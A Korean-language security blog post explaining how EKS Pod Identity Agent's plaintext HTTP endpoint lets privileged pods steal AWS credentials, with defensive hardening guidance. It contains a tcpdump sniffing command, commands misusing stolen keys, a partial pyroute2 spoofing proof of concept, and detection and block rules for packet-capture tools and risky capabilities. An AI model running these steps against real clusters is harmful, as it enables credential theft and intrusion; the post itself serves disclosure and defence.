EKS Pod Identity의 치명적 설계 결함: 평문 HTTP로 AWS 크리덴셜이 날아다닌다

이군·2026년 4월 13일

— EKS Pod Identity Agent는 169.254.170.23:80에서 암호화되지 않은 HTTP로 AWS 임시 크리덴셜을 전달한다. hostNetwork: true 또는 CAP_NET_ADMIN만 있으면 tcpdump 한 줄로 크리덴셜을 가로채거나, 가짜 HTTP 서버를 올려 SA 토큰까지 탈취할 수 있다. AWS는 이것을 “정상 동작”이라고 말했다.


왜 이 이슈가 중요한가

2025년 6월, Trend Micro 연구원 Jiri Gogela가 EKS Pod Identity 환경에서 과도한 권한을 가진 컨테이너가 AWS 크리덴셜을 탈취할 수 있는 두 가지 공격 시나리오를 공개했다. ZDI(Zero Day Initiative)를 통해 AWS에 보고되었지만, AWS의 답변은 명확했다.

“이것은 보안 이슈가 아니라, 노드의 신뢰 경계(trust boundary) 내에서의 예상된 동작이며, Shared Responsibility Model의 고객 측 책임입니다.”

즉, “설계대로 작동하고 있으니 너희가 알아서 잘 설정해라”라는 뜻이다. 이 말이 틀린 건 아니지만, 현실에서 얼마나 많은 EKS 클러스터가 디폴트 설정 그대로 돌아가고 있는지를 생각하면 꽤 무서운 이야기다.


배경: EKS Pod Identity는 어떻게 작동하는가

EKS Pod Identity는 IRSA(IAM Roles for Service Accounts)의 후속으로, Pod에 AWS 크리덴셜을 부여하는 방식을 단순화한 기능이다.

아키텍처 흐름

[Pod 내 AWS SDK]
     │
     │ ① AWS_CONTAINER_CREDENTIALS_FULL_URI 환경변수 확인
     │
     ▼
[eks-pod-identity-agent]          ← DaemonSet (kube-system)
  Listen: 169.254.170.23:80       ← 🚨 평문 HTTP
     │
     │ ② Authorization 헤더에서 K8s SA 토큰 추출
     │ ③ eks-auth:AssumeRoleForPodIdentity API 호출
     │
     ▼
[AWS STS]
     │
     │ ④ 임시 크리덴셜 반환 (AccessKeyId, SecretAccessKey, SessionToken)
     │
     ▼
[eks-pod-identity-agent → Pod]    ← 🚨 평문 HTTP 응답으로 크리덴셜 전달

핵심 구성요소를 정리하면 이렇다.

eks-pod-identity-agent: 각 워커 노드에 DaemonSet으로 배포되는 에이전트. kube-system 네임스페이스에서 실행된다.

Mutating Admission Webhook: Pod Identity가 연결된 ServiceAccount를 사용하는 Pod가 생성될 때, AWS_CONTAINER_CREDENTIALS_FULL_URIAWS_CONTAINER_AUTHORIZATION_TOKEN_FILE 환경변수를 자동 주입한다.

Link-Local 엔드포인트: IPv4는 169.254.170.23, IPv6는 [fd00:ec2::23], 포트 80에서 수신 대기한다.

여기서 문제는 포트 80, 즉 평문 HTTP라는 점이다. IMDS(169.254.169.254)의 경우에도 v1에서 v2로 넘어가면서 토큰 기반 인증을 추가했는데, Pod Identity Agent는 2023년 출시 시점부터 암호화 없이 운영되고 있다.


공격 시나리오 1: 패킷 스니핑 (Packet Sniffing)

전제 조건

  • 공격자가 hostNetwork: true로 설정된 Pod에 접근 가능
  • 해당 Pod에 CAP_NET_RAW 권한 존재 (tcpdump 실행 가능)

공격 흐름

# 1. 공격자가 hostNetwork: true인 Pod에서 실행
#    노드의 네트워크 네임스페이스를 공유하므로 모든 트래픽 관찰 가능

# 2. tcpdump로 Pod Identity Agent 통신 캡처
tcpdump -i any -A host 169.254.170.23 and port 80

# 3. 다른 Pod가 AWS SDK를 통해 크리덴셜을 요청하는 순간,
#    HTTP 응답에서 다음이 평문으로 잡힌다:
#    - AccessKeyId
#    - SecretAccessKey  
#    - SessionToken
#    - Expiration

왜 위험한가

AWS 크리덴셜은 호스트에 바인딩되지 않는다. 즉, 탈취한 크리덴셜을 클러스터 외부의 완전히 다른 머신에서 사용해도 정상적으로 동작한다. aws sts get-caller-identity를 찍어보면 해당 Pod에 연결된 IAM Role이 그대로 나온다.

# 탈취한 크리덴셜로 외부에서 사용
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# 권한 확인
aws sts get-caller-identity
# {
#   "UserId": "AROA...:eks-pod-identity-...",
#   "Account": "123456789012",
#   "Arn": "arn:aws:sts::123456789012:assumed-role/my-app-role/..."
# }

# 이후 횡이동
aws s3 ls
aws secretsmanager list-secrets
aws ssm describe-parameters

공격 시나리오 2: API 스푸핑 (API Spoofing)

이 시나리오가 더 교묘하다. CAP_NET_RAW를 제거해도 CAP_NET_ADMIN이 남아있으면 여전히 공격 가능하다.

전제 조건

  • CAP_NET_ADMIN 권한이 있는 컨테이너 (NIC 설정 변경 가능)
  • hostNetwork: true는 필수

공격 흐름

[정상 상태]
eks-pod-identity-agent ──listen──▶ 169.254.170.23:80

[공격 Step 1: Link-Local IP 삭제]
공격자 Pod (CAP_NET_ADMIN)
  └─ pyroute2로 169.254.170.23 IP를 NIC에서 삭제
  └─ eks-pod-identity-agent HTTP 데몬이 바인딩을 잃고 비활성화

[공격 Step 2: 가짜 HTTP 서버 배포]
공격자 Pod
  └─ 169.254.170.23:80에 자체 HTTP 서버 기동
  └─ 다른 Pod들의 크리덴셜 요청을 수신

[공격 Step 3: 토큰 탈취 & 크리덴셜 획득]
피해 Pod ──HTTP 요청──▶ 공격자의 가짜 서버
  │                         │
  │  Authorization: Bearer   │
  │  <<K8s SA Token>          │
  │                         │
  └─────────────────────────┘
              │
              ▼
공격자가 탈취한 SA 토큰으로
eks-auth:AssumeRoleForPodIdentity 직접 호출
              │
              ▼
        AWS 임시 크리덴셜 획득

Trend Micro의 PoC 코드 (개념)

from pyroute2 import IPRoute

ip = IPRoute()

# Step 1: eks-pod-identity-agent의 link-local IP 삭제
idx = ip.link_lookup(ifname='eth0')[0]
ip.addr('del', index=idx, address='169.254.170.23', prefixlen=32)

# Step 2: 같은 IP를 다시 할당
ip.addr('add', index=idx, address='169.254.170.23', prefixlen=32)

# Step 3: 해당 IP:80에서 HTTP 서버 시작
# → Authorization 헤더의 SA 토큰 캡처
# → AssumeRoleForPodIdentity API로 크리덴셜 교환

이 공격의 핵심은 Pod Identity Agent 자체를 무력화시킨 뒤, 동일 주소에서 대리 서버를 운영한다는 점이다. 피해 Pod 입장에서는 평소와 동일한 엔드포인트로 요청을 보내는 것이므로, 이상 징후를 인지할 수 없다.


근본 원인 분석

이 공격이 성립하는 근본적인 이유를 정리하면 다음과 같다.

1. 평문 HTTP 통신

Pod Identity Agent가 포트 80에서 암호화 없이 통신한다. mTLS나 최소한 localhost 소켓이 아닌, link-local HTTP를 사용하는 것은 크리덴셜 전달 채널로서 취약하다.

2. 크리덴셜의 호스트 비바인딩

발급된 임시 크리덴셜에 소스 IP나 VPC 조건이 기본적으로 걸려 있지 않다. 탈취 즉시 어디서든 사용 가능하다.

3. 과도한 Linux Capabilities의 방치

hostNetwork: true, CAP_NET_RAW, CAP_NET_ADMIN 같은 설정은 모니터링 에이전트나 네트워크 플러그인에서 흔히 사용되지만, 보안 관점에서 충분히 검토되지 않는 경우가 많다.

4. Admission Control의 부재

기본 EKS 설정에는 이런 위험한 Pod 설정을 차단하는 Admission Policy가 없다. Pod Security Standards(PSS)의 Baseline 프로파일은 hostNetwork: true를 차단하지만, 많은 클러스터에서 PSS가 privileged 모드로 설정되어 있거나 아예 적용되지 않고 있다.


방어 전략

즉시 조치

# 1. Pod Security Standards 적용 (네임스페이스 레벨)
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: baseline    # hostNetwork 차단
    pod-security.kubernetes.io/warn: restricted      # 추가 경고
    pod-security.kubernetes.io/audit: restricted     # 감사 로그
# 2. SecurityContext 강화 (Pod 스펙)
apiVersion: v1
kind: Pod
spec:
  hostNetwork: false          # 필수
  containers:
  - name: app
    securityContext:
      readOnlyRootFilesystem: true
      allowPrivilegeEscalation: false
      runAsNonRoot: true
      runAsUser: 1000
      capabilities:
        drop:
          - ALL               # 모든 capabilities 제거
        # 필요한 것만 명시적으로 추가

IAM 조건 키를 활용한 크리덴셜 바인딩

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "NotIpAddress": {
          "aws:SourceIp": [
            "10.0.0.0/8"
          ]
        },
        "StringNotEquals": {
          "aws:PrincipalTag/eks-cluster-name": "my-production-cluster"
        }
      }
    }
  ]
}

모니터링 & 탐지

# CloudTrail에서 비정상 AssumeRoleForPodIdentity 호출 감시
# 특히 sourceIPAddress가 VPC CIDR 범위 밖인 경우

# CloudWatch Logs Insights 쿼리 예시
fields @timestamp, sourceIPAddress, userIdentity.arn
| filter eventName = "AssumeRoleForPodIdentity"
| filter sourceIPAddress not like /^10\./
| sort @timestamp desc
| limit 50
# Falco 룰: hostNetwork 컨테이너에서의 tcpdump 실행 탐지
- rule: Packet Capture on Host Network Container
  desc: Detect packet capture tools in hostNetwork containers
  condition: >
    spawned_process and
    container and
    (proc.name in (tcpdump, tshark, dumpcap)) and
    (k8s.pod.host_network = true)
  output: >
    Packet capture detected in hostNetwork container
    (user=%user.name command=%proc.cmdline pod=%k8s.pod.name)
  priority: CRITICAL

OPA/Gatekeeper 정책

# hostNetwork: true 차단 + 위험 capabilities 차단
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockHostNetwork
metadata:
  name: block-host-network
spec:
  match:
    kinds:
    - apiGroups: [""]
      kinds: ["Pod"]
    excludedNamespaces:
    - kube-system       # 시스템 네임스페이스는 별도 관리
---
apiVersion: constraints.gatekeeper.sh/v1beta1  
kind: K8sBlockCapabilities
metadata:
  name: block-dangerous-caps
spec:
  match:
    kinds:
    - apiGroups: [""]
      kinds: ["Pod"]
  parameters:
    blockedCapabilities:
    - NET_RAW
    - NET_ADMIN
    - SYS_ADMIN
    - SYS_PTRACE

IRSA vs Pod Identity: 공격표면 비교

항목IRSAPod Identity
크리덴셜 전달 방식파일시스템 (JWT 마운트)HTTP (link-local)
도청 가능성낮음 (파일 접근 필요)높음 (네트워크 스니핑)
클러스터 외부 사용가능 (토큰으로 STS 호출)가능 (크리덴셜 직접 사용)
스푸핑 가능성낮음높음 (API 스푸핑)
토큰 만료기본 24시간 (설정 가능)세션 기반
호스트 바인딩없음없음

두 방식 모두 완벽하지 않지만, 공격 난이도 측면에서 Pod Identity의 평문 HTTP 통신은 IRSA의 파일시스템 토큰 탈취보다 진입 장벽이 낮다.


시사점: Shared Responsibility의 회색지대

AWS의 “이건 정상 동작”이라는 답변은 기술적으로 틀리지 않다. 노드 내부의 네트워크 트래픽은 고객 책임 영역이고, 컨테이너 권한 관리도 고객이 해야 할 일이다.

하지만 이런 논리를 따르면, IMDSv1도 “정상 동작”이었다. 그리고 Capital One 사고 이후 AWS는 IMDSv2를 만들었다. 설계상 안전한 기본값(secure by default)을 제공하는 것과, 정상 동작이니 알아서 하라는 것은 다른 이야기다.

Pod Identity Agent가 mTLS나 Unix Domain Socket으로 전환되거나, 최소한 크리덴셜에 소스 IP 바인딩이 기본 적용된다면, 이 공격의 실효성은 크게 낮아질 것이다. AWS가 이런 방향으로 개선할지는 지켜볼 일이다.


마무리

EKS Pod Identity는 IRSA 대비 설정이 간편하고 크로스 계정 접근도 더 쉽다는 장점이 있다. 하지만 그 편의성 뒤에는 평문 HTTP로 크리덴셜이 노드 네트워크를 타고 흐른다는 설계적 트레이드오프가 숨어 있다.

운영 환경에서 Pod Identity를 사용한다면, 반드시 아래 사항을 점검하자.

  1. hostNetwork: true Pod를 최소화하고, 필수적인 경우 별도 노드 그룹으로 격리
  2. 모든 컨테이너에서 capabilities: drop: [ALL]을 기본 적용하고 필요한 것만 추가
  3. Pod Security Standards를 baseline 이상으로 적용
  4. IAM Role에 aws:SourceIp 조건 추가로 크리덴셜 사용 범위 제한
  5. CloudTrail + Falco 조합으로 비정상 크리덴셜 사용 및 패킷 캡처 도구 실행 탐지

보안은 결국 “설계자의 의도”가 아니라 “공격자의 시선”에서 평가해야 한다.


참고 자료

profile
이군의 보안, 그리고 생각을 다룹니다.

0개의 댓글